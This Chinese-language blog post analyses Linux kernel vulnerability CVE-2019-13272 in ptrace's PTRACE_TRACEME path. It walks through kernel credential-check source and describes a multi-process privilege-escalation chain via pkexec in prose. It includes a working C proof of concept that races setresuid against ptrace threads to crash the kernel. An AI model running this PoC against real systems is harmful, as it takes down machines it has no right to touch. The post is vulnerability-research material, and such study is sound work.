【CVE.0x05】CVE-2019-13272 ptrace 漏洞复现及简要分析

本文最后更新于:2022年1月17日 凌晨

你不许说他,他是你爹?

0x00.一切开始之前

CVE-2019-13272 是自 Linux v4.11 版本起引入的一个本地提权漏洞,由来自 Google Zero Project 安全团队的 Jann Horn (很帅气的外国小哥)于 2019 年 9 月发现,该漏洞的成因主要是 ptrace 系统调用中 PTRACE_TRACEME 参数调用路径上的 ptrace_link() 函数错误地处理了想要创建 ptrace 关系的进程间的凭据记录,从而导致攻击者可以通过 suid 程序实现本地提权

该漏洞影响版本从 v4.11v5.1.17,不过只能在有着桌面环境的情况下完成提权,因为提权需要用到一个通常只在桌面环境下存在的 helper程序 ,所以相对比较鸡肋

在分析该漏洞之前,我们先补充一些前置知识

以下内核源码皆来自于 Linux v4.11

ptrace 系统调用

1
2
3
4
#include <sys/ptrace.h>

long ptrace(enum __ptrace_request request, pid_t pid,
void *addr, void *data);

ptrace 系统调用主要用于对进程进行调试:该系统调用提供了一种机制使得调试进程(ptracer)可以观察与控制被调试进程(ptracee)的执行过程,并修改被调试进程的寄存器及内存,从而操控被调试进程实现特定的行为

相信大家对这个系统调用应该都不陌生,gdb 调试便是利用了这个系统调用

常见的建立 ptrace 连接有两种方法:

  • 子进程通过 PTRACE_TRACEME 请求父进程进行调试
  • 父进程通过 PTRACE_ATTACH 主动对指定进程进行调试

这个漏洞主要是出现在第一条路径中,因此我们下文主要针对第一条路径进行分析

一个典型的通过 ptrace 由父进程对子进程进行单步调试的例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ptrace.h>

int main(int argc, char **argv, char **envp)
{
int wait_val;
int instructions = 0;
int child_pid = fork();
if (!child_pid) // child
{
puts("[*] Set the child as a ptracee.");
ptrace(PTRACE_TRACEME, 0, NULL, NULL); // let the parent ptrace it, won't stop there but send a signal to parent
puts("[+] Done. Now waiting for the parent...");
execl("./helloworld", "helloworld", NULL); // the programme to be debug
}
else // parent
{
wait(&wait_val); // waiting for the signal from child
puts("[+] Parent received signal, running...");
while (wait_val == 1407)
{
instructions++;
if (ptrace(PTRACE_SINGLESTEP, child_pid, 0, 0) != 0)
perror("ptrace error!");

wait(&wait_val);
}
printf("[+] Done for %d instructions.\n", instructions);
puts("[+] Parent quit.");
}
}

运行结果如下:

image.png

通常情况下,ptrace 只能调试属于 ptracer 所属用户的进程,例如普通用户便不能调试 root 进程

task_struct:进程描述符(process descriptor)

在 Linux 中一个进程便是一个 task,在 kernel 中使用一个 task_struct 结构体进行标识,该结构体定义于内核源码include/linux/sched.h

我们主要关心其对于进程权限的管理,注意到task_struct的源码中有如下代码:

1
2
3
4
5
6
7
8
9
10
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred:

  • ptracer_cred:使用ptrace系统调用跟踪该进程的调试进程(ptracer)的 cred
  • real_cred:客体凭证objective cred),通常是一个进程最初启动时所具有的权限
  • cred:主体凭证subjective cred),该进程的有效cred,kernel以此作为进程权限的凭证

cred:进程权限凭证(credentials)

对于一个进程,在内核当中使用一个结构体cred管理其权限,该结构体定义于内核源码include/linux/cred.h中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

我们主要关注cred结构体中管理权限的变量

用户ID & 组ID

一个cred结构体中记载了一个进程四种不同的用户ID

  • 真实用户ID(real UID):标识一个进程启动时的用户ID
  • 保存用户ID(saved UID):标识一个进程最初的有效用户ID
  • 有效用户ID(effective UID):标识一个进程正在运行时所属的用户ID,一个进程在运行途中是可以改变自己所属用户的,因而权限机制也是通过有效用户ID进行认证的,内核通过 euid 来进行特权判断;为了防止用户一直使用高权限,当任务完成之后,euid 会与 suid 进行交换,恢复进程的有效权限
  • 文件系统用户ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户ID

在通常情况下这几个ID应当都是相同的

用户组ID同样分为四个:真实组ID保存组ID有效组ID文件系统组ID,与用户ID是类似的,这里便不再赘叙

命名空间(namespace)

cred 结构体中的 user_ns 字段标识了该进程所属的命名空间

namespace:命名空间

命名空间namespace是 Linux kernel 用来隔离内核资源的方式。 通过 namespace 可以让一些进程只能看到与自己相关的一部分资源,而另外一些进程也只能看到与它们自己相关的资源,双方都无法访问对方命名空间中的资源

在 cred 当中有指向其所属命名空间的指针,在Linux kernel 中命名空间为一个 user_namespace 结构体,该结构体定义于 /include/linux/user_namespace.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct user_namespace {
struct uid_gid_map uid_map;
struct uid_gid_map gid_map;
struct uid_gid_map projid_map;
atomic_t count;
struct user_namespace *parent;
int level;
kuid_t owner;
kgid_t group;
struct ns_common ns;
unsigned long flags;

/* Register of per-UID persistent keyrings for this namespace */
#ifdef CONFIG_PERSISTENT_KEYRINGS
struct key *persistent_keyring_register;
struct rw_semaphore persistent_keyring_register_sem;
#endif
struct work_struct work;
#ifdef CONFIG_SYSCTL
struct ctl_table_set set;
struct ctl_table_header *sysctls;
#endif
struct ucounts *ucounts;
int ucount_max[UCOUNT_COUNTS];
};

我们主要关注这几个字段:

  • owner:即该命名空间的所有者;通常来说每个进程有其独立的命名空间,但对于一些需要共享资源的进程而言他们有可能会需要共享同一个命名空间
  • group:命名空间所属的用户组
  • parent:该命名空间的父命名空间,关系类似于父子进程,最上一层为 init_cred 的命名空间 init_user_ns

linux_binprm:待执行文件数据

前面讲到 ptrace 应当配合着 execve 进行使用,在 execve 系统调用中涉及到一个结构体叫做 linux_binprm,该结构体用以记录 kernel 加载(其实就是执行)一个二进制文件时用到的数据,定义于 /include/linux/binfmts.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
* This structure is used to hold the arguments that are used when loading binaries.
*/
struct linux_binprm {
char buf[BINPRM_BUF_SIZE];
#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
struct page *page[MAX_ARG_PAGES];
#endif
struct mm_struct *mm;
unsigned long p; /* current top of mem */
unsigned int
cred_prepared:1,/* true if creds already prepared (multiple
* preps happen for interpreters) */
cap_effective:1;/* true if has elevated effective capabilities,
* false if not; except for init which inherits
* its parent's caps anyway */
#ifdef __alpha__
unsigned int taso:1;
#endif
unsigned int recursion_depth; /* only for search_binary_handler() */
struct file * file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
unsigned int per_clear; /* bits to clear in current->personality */
int argc, envc;
const char * filename; /* Name of binary as seen by procps */
const char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
};

这里我们主要关注 cred 字段,其标识了要运行的新程序的权限

LSM 与 程序执行权限检查

在 task_struct 结构体当中我们注意到 ptracer_cred 这个字段,这个字段自 Linux kernel 4.10 引入到 task_struct 结构体当中,引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 setuid executable 时做安全检测

参见 ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP

这一部分会展开分析一定数量的内核源码,针对这个漏洞而言,可以直接看结论:若 ptracee 进程执行 suid/sgid 程序,则检查 ptracee 保存的 ptracer 的 cred,即 ptracee 的 task_struct 的 ptracer_cred 字段的权限,若权限不足则 ptracee 以其自身的 euid/egid 执行程序,而非文件的 suid/sgid

suid/sgid 文件的执行流程

当一个进程执行一个 suid 文件时(例如 /usr/bin/passwd),存在如下调用链:

1
2
3
4
5
SYS_execve()
do_execve()
do_execveat_common()
prepare_binprm()
bprm_fill_uid()

函数 bprm_fill_uid() 定义于 /fs/exec.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static void bprm_fill_uid(struct linux_binprm *bprm)
{
struct inode *inode;
unsigned int mode;
kuid_t uid;
kgid_t gid;

/*
* Since this can be called multiple times (via prepare_binprm),
* we must clear any previous work done when setting set[ug]id
* bits from any earlier bprm->file uses (for example when run
* first for a setuid script then again for its interpreter).
*/
// 笔者注:首先使用原进程 euid egid
bprm->cred->euid = current_euid();
bprm->cred->egid = current_egid();

if (!mnt_may_suid(bprm->file->f_path.mnt))
return;

if (task_no_new_privs(current))
return;

inode = file_inode(bprm->file);
mode = READ_ONCE(inode->i_mode);
if (!(mode & (S_ISUID|S_ISGID)))
return; // 笔者注:不是 suid/sgid 程序,直接返回,否则将 euid/egid 设为文件 uid/gid

/* Be careful if suid/sgid is set */
inode_lock(inode);

/* reload atomically mode/uid/gid now that lock held */
mode = inode->i_mode;
uid = inode->i_uid;
gid = inode->i_gid;
inode_unlock(inode);

/* We ignore suid/sgid if there are no mappings for them in the ns */
if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
!kgid_has_mapping(bprm->cred->user_ns, gid))
return;

if (mode & S_ISUID) {
bprm->per_clear |= PER_CLEAR_ON_SETID;
bprm->cred->euid = uid;
}

if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
bprm->per_clear |= PER_CLEAR_ON_SETID;
bprm->cred->egid = gid;
}
}

我们注意到这样一个逻辑:当我们尝试运行一个 suid 程序时,其会将新进程的 cred->euid 设置为 suid 文件的 uid

那么如果我们 fork 出子进程运行 suid 程序、父进程再 ptrace attach 岂不就能直接完成提权了吗?答案是否定的,因为后面还会进行权限检查,我们继续跟踪调用链:

1
2
3
4
5
6
SYS_execve()
do_execve()
do_execveat_common()
prepare_binprm()
bprm_fill_uid()
security_bprm_set_creds()

该函数定义于 security/security.c 中,如下:

1
2
3
4
int security_bprm_set_creds(struct linux_binprm *bprm)
{
return call_int_hook(bprm_set_creds, 0, bprm);
}

虽然只有一个语句但解释起来可能有点复杂,这里我们要引入一个新的概念—— Linux Security Modules(LSM)

Linux Security Modules

LSM 即 Linux 安全模组,类似于 VFS, 其提供了统一的安全业务逻辑接口,例如 SELinux 便是基于 LSM 实现的,整体框架如下:

偷的图.png

启用这个框架需要开启内核编译选项 CONFIG_SECURITY(默认开启)

现在我们来剖析 call_int_hook 宏,该宏用于调用对应的 LSM 钩子,定义于 /security/security.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#define call_int_hook(FUNC, IRC, ...) ({			\
int RC = IRC; \
do { \
struct security_hook_list *P; \
\
list_for_each_entry(P, &security_hook_heads.FUNC, list) { \
RC = P->hook.FUNC(__VA_ARGS__); \
if (RC != 0) \
break; \
} \
} while (0); \
RC; \
})

其中 list_for_each_entry 是内核中常用遍历宏,这里不再赘叙,这里的 security_hook_heads 是一个全局结构体,阅读源码可以发现其中存放的都是内核双向链表结构,其实对应的应当是 security_hook_list 结构体,定义于 /include/linux/lsm_hooks.h 中,如下:

1
2
3
4
5
6
7
8
9
/*
* Security module hook list structure.
* For use with generic list macros for common operations.
*/
struct security_hook_list {
struct list_head list;
struct list_head *head;
union security_list_options hook;
};

其中联合体 security_list_options 其实就是一个函数指针,不再赘叙,那么 call_int_hook 宏的作用就不言而喻了:调用 security_hook_heads 中对应成员的函数指针。我们也可以看出 security_hook_heads 结构体相当于一张函数表

这张函数表会在内核初始化时被初始化,这里我们将目光放到内核启动的初始化函数——start_kernel() 中,该函数定义于 /init/main.c 中,我们观察到如下逻辑:

1
2
3
4
asmlinkage __visible void __init start_kernel(void)
{
//...
security_init();

函数 security_init() 用以进行 LSM 的初始化,定义于 /security/security.c 中,观察到如下调用链:

1
2
security_init()
capability_add_hooks()

这里 capability_add_hooks() 逻辑比较简单,定义于 /security/commoncap.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifdef CONFIG_SECURITY

struct security_hook_list capability_hooks[] = {
LSM_HOOK_INIT(capable, cap_capable),
LSM_HOOK_INIT(settime, cap_settime),
LSM_HOOK_INIT(ptrace_access_check, cap_ptrace_access_check),
LSM_HOOK_INIT(ptrace_traceme, cap_ptrace_traceme),
LSM_HOOK_INIT(capget, cap_capget),
LSM_HOOK_INIT(capset, cap_capset),
LSM_HOOK_INIT(bprm_set_creds, cap_bprm_set_creds),
LSM_HOOK_INIT(bprm_secureexec, cap_bprm_secureexec),
LSM_HOOK_INIT(inode_need_killpriv, cap_inode_need_killpriv),
LSM_HOOK_INIT(inode_killpriv, cap_inode_killpriv),
LSM_HOOK_INIT(mmap_addr, cap_mmap_addr),
LSM_HOOK_INIT(mmap_file, cap_mmap_file),
LSM_HOOK_INIT(task_fix_setuid, cap_task_fix_setuid),
LSM_HOOK_INIT(task_prctl, cap_task_prctl),
LSM_HOOK_INIT(task_setscheduler, cap_task_setscheduler),
LSM_HOOK_INIT(task_setioprio, cap_task_setioprio),
LSM_HOOK_INIT(task_setnice, cap_task_setnice),
LSM_HOOK_INIT(vm_enough_memory, cap_vm_enough_memory),
};

void __init capability_add_hooks(void)
{
security_add_hooks(capability_hooks, ARRAY_SIZE(capability_hooks));
}

#endif /* CONFIG_SECURITY */

这里 security_add_hooks() 函数定义于 /include/linux/lsm_hooks.h 中,如下:

1
2
3
4
5
6
7
8
static inline void security_add_hooks(struct security_hook_list *hooks,
int count)
{
int i;

for (i = 0; i < count; i++)
list_add_tail_rcu(&hooks[i].list, hooks[i].head);
}

到这里整个逻辑就一目了然了,该函数表会根据表 capability_hooks 进行对应的初始化操作

ptracer 权限检查

现在让我们将目光放回 security_bprm_set_creds()函数,我们现在可以知道其调用的应当是 security_hook_heads->bprm_set_creds->hook,这个钩子指向函数 cap_bprm_set_creds,该函数定义于/security/commoncap.c 中,我们主要关注如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int cap_bprm_set_creds(struct linux_binprm *bprm)
{
const struct cred *old = current_cred();
struct cred *new = bprm->cred;
bool effective, has_cap = false, is_setid;
int ret;
kuid_t root_uid;

//...

// 笔者注:对被 ptrace 的 suid/sgid 进程进行权限检查
/* Don't let someone trace a set[ug]id/setpcap binary with the revised
* credentials unless they have the appropriate permit.
*
* In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
*/
is_setid = !uid_eq(new->euid, old->uid) || !gid_eq(new->egid, old->gid);

if ((is_setid || // 是否为 suid/sgid
!cap_issubset(new->cap_permitted, old->cap_permitted)) &&
((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
!ptracer_capable(current, new->user_ns))) { // 是否被 ptrace,若是,检查是否越权
/* downgrade; they get no more than they had, and maybe less */
//若检查出越权,则重新进行一次检查,进行降权
if (!ns_capable(new->user_ns, CAP_SETUID) ||
(bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
new->euid = new->uid;
new->egid = new->gid;
}
new->cap_permitted = cap_intersect(new->cap_permitted,
old->cap_permitted);
}

new->suid = new->fsuid = new->euid;
new->sgid = new->fsgid = new->egid;
//...

其中 ptracer_capable() 定义于 /kernel/capability.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* ptracer_capable - Determine if the ptracer holds CAP_SYS_PTRACE in the namespace
* @tsk: The task that may be ptraced
* @ns: The user namespace to search for CAP_SYS_PTRACE in
*
* Return true if the task that is ptracing the current task had CAP_SYS_PTRACE
* in the specified user namespace.
*/
bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
{
int ret = 0; /* An absent tracer adds no restrictions */
const struct cred *cred;
rcu_read_lock();
cred = rcu_dereference(tsk->ptracer_cred);
if (cred)
ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
rcu_read_unlock();
return (ret == 0);
}

该函数检查了进程的 ptracer_cred 字段,若不为 NULL 则说明该进程为 ptracee,接下来使用 security_capable_noaudit 函数进行检查,该函数也是一个 LSM 钩子的 API,对应调用 security_hook_heads->capable->hook,对应函数为 cap_capable(),定义于 /security/commoncap.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**
* cap_capable - Determine whether a task has a particular effective capability
* @cred: The credentials to use
* @ns: The user namespace in which we need the capability
* @cap: The capability to check for
* @audit: Whether to write an audit message or not
*
* Determine whether the nominated task has the specified capability amongst
* its effective set, returning 0 if it does, -ve if it does not.
*
* NOTE WELL: cap_has_capability() cannot be used like the kernel's capable()
* and has_capability() functions. That is, it has the reverse semantics:
* cap_has_capability() returns 0 when a task has a capability, but the
* kernel's capable() and has_capability() returns 1 for this case.
*/
int cap_capable(const struct cred *cred, struct user_namespace *targ_ns,
int cap, int audit)
{
struct user_namespace *ns = targ_ns;

/* See if cred has the capability in the target user namespace
* by examining the target user namespace and all of the target
* user namespace's parents.
*/
for (;;) {
/* Do we have the necessary capabilities? */
// 若与 ptracer 同属同一命名空间,检查权限是否足够
if (ns == cred->user_ns)
return cap_raised(cred->cap_effective, cap) ? 0 : -EPERM;

/* Have we tried all of the parent namespaces? */
// 自底向上遍历完了,说明检查出错,返回对应错误值
if (ns == &init_user_ns)
return -EPERM;

/*
* The owner of the user namespace in the parent of the
* user namespace has all caps.
*/
// 我们主要关注这里,这里会检查 ptracer_cred 的命名空间是否是新进程命名空间的父命名空间
// 若是,检查是否新进程命名空间的所有者是否与 ptracer 为同一用户
// 若是,返回 0,说明通过检查
// 若否,向上遍历命名空间,回到开头
if ((ns->parent == cred->user_ns) && uid_eq(ns->owner, cred->euid))
return 0;

/*
* If you have a capability in a parent user ns, then you have
* it over all children user namespaces as well.
*/
ns = ns->parent;
}

/* We never get here */
}

这里会检查 ptracee 的命名空间所有者是否与 ptracer 为同一用户,只有这两者同属同一用户,检查才能通过,否则检查将不会通过,从而导致降权

接下来的判断语句中调用的 ns_capable() 函数最终也会走到这个路径,这里便不再赘叙,感兴趣的可以自行检索阅读如下调用链:

1
2
3
4
ns_capable()
ns_capable_common()
security_capable()
cap_capable()

由此我们得到结论:若 ptracee 进程执行 suid/sgid 程序,则检查 ptracee 保存的 ptracer 的 cred,即 ptracee 的 task_struct 的 ptracer_cred 字段的权限,若权限不足则 ptracee 以其自身的 euid/egid 执行程序,而非文件的 suid/sgid

LSM 与 ptracer 权限检查

前面我们讲了对 ptracee 执行新程序的权限检查,现在我们来看对于 ptracer 操作的检查

将目光放回 ptrace 系统调用的源码中,对于 ptracer 的 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA 这几个操作,会走入如下路径:

1
2
3
4
5
6
7
SYS_ptrace()
arch_ptrace()
ptrace_request()
generic_ptrace_peekdata() / generic_ptrace_pokedata()
ptrace_access_vm()
ptracer_capable()
security_capable_noaudit()

这里就又走回我们上面的路径了,不再重复分析,这里简单说明一点就是在 ptrace_request() 中传给下层被调函数的 task 参数为 ptracee 的 task_struct,在 ptrace_access_vm() 中传入的命名空间也为 ptracee 的 mm 的命名空间,因此最后权限判断还是根据 ptracee 进程的 ptracer_cred 字段

0x01.漏洞分析

细心的读者或许已经观察到了,前面我们的预备知识中缺少了设置 ptracee 的 ptracer_cred 字段这一过程,实际上我们的漏洞便是出现在这个位置

我们将目光重新放回 ptrace 系统调用的源码当中,当 ptracee 进程调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL); 时,会走到如下路径:

1
2
3
SYS_ptrace()
ptrace_traceme()
__ptrace_link()

其中 __ptrace_link() 函数就是本次出现漏洞的函数,该函数用于建立 ptrace link,定义于 /kernel/ptrace.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
* ptrace a task: make the debugger its new parent and
* move it to the ptrace list.
*
* Must be called with the tasklist lock write-held.
*/
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced);
child->parent = new_parent;
rcu_read_lock();
child->ptracer_cred = get_cred(__task_cred(new_parent));
rcu_read_unlock();
}

该函数的功能比较简单,主要就是在 rcu 机制下将子进程的 ptracer_cred 字段设为父进程的 cred,这里的 __task_cred() 宏的作用主要是 rcu 机制下取得进程 real_cred,而 get_cred() 函数主要是将 cred 的引用计数 + 1

RCU 机制即 ready-copy update ,该机制确保了多线程下读与写的同步,这里不详细介绍,原理可以简单理解为“节点更新”——读无限制,要写时先新建节点写入新节点,随后将节点更新到指针,这个过程中读者读的都是旧节点,随后等待读者退出,释放旧节点,新节点投入使用

按照 Jann Horn 的 issue 阐述,在这里存在着两个问题

  • 竞态条件下导致错误的引用计数
  • ptracer_cred 设置的逻辑错误导致本地提权

下面我们来逐一分析

竞态条件下导致错误的引用计数

__ptrace_link() 函数中调用了 get_cred() 函数获取父进程的 cred,该函数会将其引用计数 + 1,这看起来好像没有什么问题,不是么?我们引用了父进程的 cred,自然引用计数要 + 1,当 ptrace 流程结束后,引用计数再 - 1,这一切看起来似乎很正常

咋一看这个流程设计似乎是没有问题的,但在竞态条件下就不一定了,我们现在将目光放到一个对于 kernel pwner 而言或许都很熟悉但不一定曾深入研究过的一个函数——commit_creds,该函数定义于 kernel/cred.c 中,我们主要关注如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;

//...

/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}

在该函数末尾会两次调用 put_cred() 函数,该函数定义于 /include/linux/cred.h 中,如下:

1
2
3
4
5
6
7
8
static inline void put_cred(const struct cred *_cred)
{
struct cred *cred = (struct cred *) _cred;

validate_creds(cred);
if (atomic_dec_and_test(&(cred)->usage))
__put_cred(cred);
}

可以看到其功能比较简单,一是调用 validate_cred() 验证 cred 是否合法,随后使用 atomic_dec_and_test 宏将 cred 的引用计数减一,并确认其引用计数是否为 0,若为 0 则调用 __put_cred()

通常来说,在 commit_creds 两次减去引用计数(cred 一次,real_cred 一次)后最终执行流都会走到 __put_cred(),该函数定义于 /kernel/cred.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* __put_cred - Destroy a set of credentials
* @cred: The record to release
*
* Destroy a set of credentials on which no references remain.
*/
void __put_cred(struct cred *cred)
{
kdebug("__put_cred(%p{%d,%d})", cred,
atomic_read(&cred->usage),
read_cred_subscribers(cred));

BUG_ON(atomic_read(&cred->usage) != 0);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(cred) != 0);
cred->magic = CRED_MAGIC_DEAD;
cred->put_addr = __builtin_return_address(0);
#endif
BUG_ON(cred == current->cred);
BUG_ON(cred == current->real_cred);

call_rcu(&cred->rcu, put_cred_rcu);
}

这里我们看到其一开始先验证 cred 的引用计数,随后调用 call_rcu(),该函数的作用可以简单理解为在 rcu 机制下调用函数指针,这里调用的是 put_cred_rcu() 函数,定义于 /kernel/cred.c 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
* The RCU callback to actually dispose of a set of credentials
*/
static void put_cred_rcu(struct rcu_head *rcu)
{
struct cred *cred = container_of(rcu, struct cred, rcu);

kdebug("put_cred_rcu(%p)", cred);

#ifdef CONFIG_DEBUG_CREDENTIALS
if (cred->magic != CRED_MAGIC_DEAD ||
atomic_read(&cred->usage) != 0 ||
read_cred_subscribers(cred) != 0)
panic("CRED: put_cred_rcu() sees %p with"
" mag %x, put %p, usage %d, subscr %d\n",
cred, cred->magic, cred->put_addr,
atomic_read(&cred->usage),
read_cred_subscribers(cred));
#else
if (atomic_read(&cred->usage) != 0)
panic("CRED: put_cred_rcu() sees %p with usage %d\n",
cred, atomic_read(&cred->usage));
#endif

security_cred_free(cred);
key_put(cred->session_keyring);
key_put(cred->process_keyring);
key_put(cred->thread_keyring);
key_put(cred->request_key_auth);
if (cred->group_info)
put_group_info(cred->group_info);
free_uid(cred->user);
put_user_ns(cred->user_ns);
kmem_cache_free(cred_jar, cred);
}

可见其会判断 cred 的引用计数是否为 0,若不为 0 则会导致 kernel panic,在正常情况下则是常规的将 cred 释放回 cred_jar 这一 slub 的流程

看起来好像没什么问题,在进入释放函数前已有一次检查,想必没有可能引起 kernel panic,实则不然,我们考虑如下竞态场景:

  • 父进程不断地更新自身 cred
  • 子进程不断地调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL)

在这种场景下,若是父进程在更新自身 cred 时,在父进程替换自身 cred 之前子进程获取到了父进程的旧 cred,在父进程进入到 put_cred_rcu 函数之后子进程刚好才将旧 cred 的引用计数 +1,此时便无法通过释放函数中的引用计数检查,从而造成 kernel panic

ptracer_cred 设置的逻辑错误导致本地提权

这个逻辑漏洞的利用在笔者看来十分巧妙,在正常情况下普通权限的 ptracer 确乎是无法调试执行 suid 程序的 pracee 的,但是 Jann Horn 提出了一个十分巧妙的多级 ptrace 方案

我们现在来考虑如下场景:

  • 进程 A fork 出子进程 B
  • 进程 B fork 出子进程 C
  • 进程 B 执行一个先提权后降权的 suid 程序
  • 进程 C 检测到进程 B 提权后发起 PTRACE_RTRACEME 请求,随后执行一个 suid 程序,此时因为进程 B 已经提权所以 ptrace link 建立成功,此时进程 C 为 root 权限
  • 进程 A 检测到进程 B 执行 suid 程序后,主动 ptrace attach 进程 B
  • 此时进程 B 已经完成降权,故进程 A 可以 ptrace 进程 B,而进程 B 已经与进程 C 建立了 ptrace link,此时进程 C 在判断进程 B 权限时使用的是此前保存的 root cred,故进程 B 可以 ptrace 进程 C 让其在 root 权限下执行恶意代码

听起来似乎需要一些条件竞争?而且我们似乎很难找到这样一个 suid 程序,这令这个漏洞变得十分的鸡肋,我们只能在一些特定发行版下完成利用

0x02.漏洞利用

利用竞态条件造成 kernel panic

前面我们已经讲到开两个进程进行竞争便能触发 kernel panic,而合法更新父进程的 cred 的方式有很多,例如 setresuid 这一系列的系统调用便能合法更新进程的 cred,这里我们便选用 setresuid 系统调用

exp 如下,这里参考了 jannh 给出的 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>

void *ptraceThread(void *args)
{
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
return NULL;
}

int main(int argc, char ** argv, char **envp)
{
pthread_t child;
int uid;
int pid;

puts("[+] CVE-2019-13272 POC of kernel panic.");
puts("[+] Written by arttnba3.");
puts("[*] Start exploiting...");

uid = getuid();
pid = fork();
if (pid != 0) // parent
{
while (1)
{
setresuid(uid, uid, uid);
}
}
else // child
{
while (1)
{
pthread_create(&child, NULL, ptraceThread, NULL);
}
}
}

运行结果如下:

image.png

可以看到的是我们成功利用该漏洞造成了 kernel panic

利用逻辑错误进行本地提权

我们先介绍一个新玩意——PolKit,这是一个应用程序框架,相比起 sudo 等传统特权授权程序,polkit 可以进行更细粒度的权限授予,这里不深入研究其用法

接下来我们需要用到一个大部分 Linux 桌面发行版都有的 suid 程序—— pkexec,这是 polkit 中的工具之一,其允许获得授权的用户以另一用户的身份执行特定程序,如下是我们将会用到的指令执行格式:

1
$ pkexec -user username some_programme_under_polkit

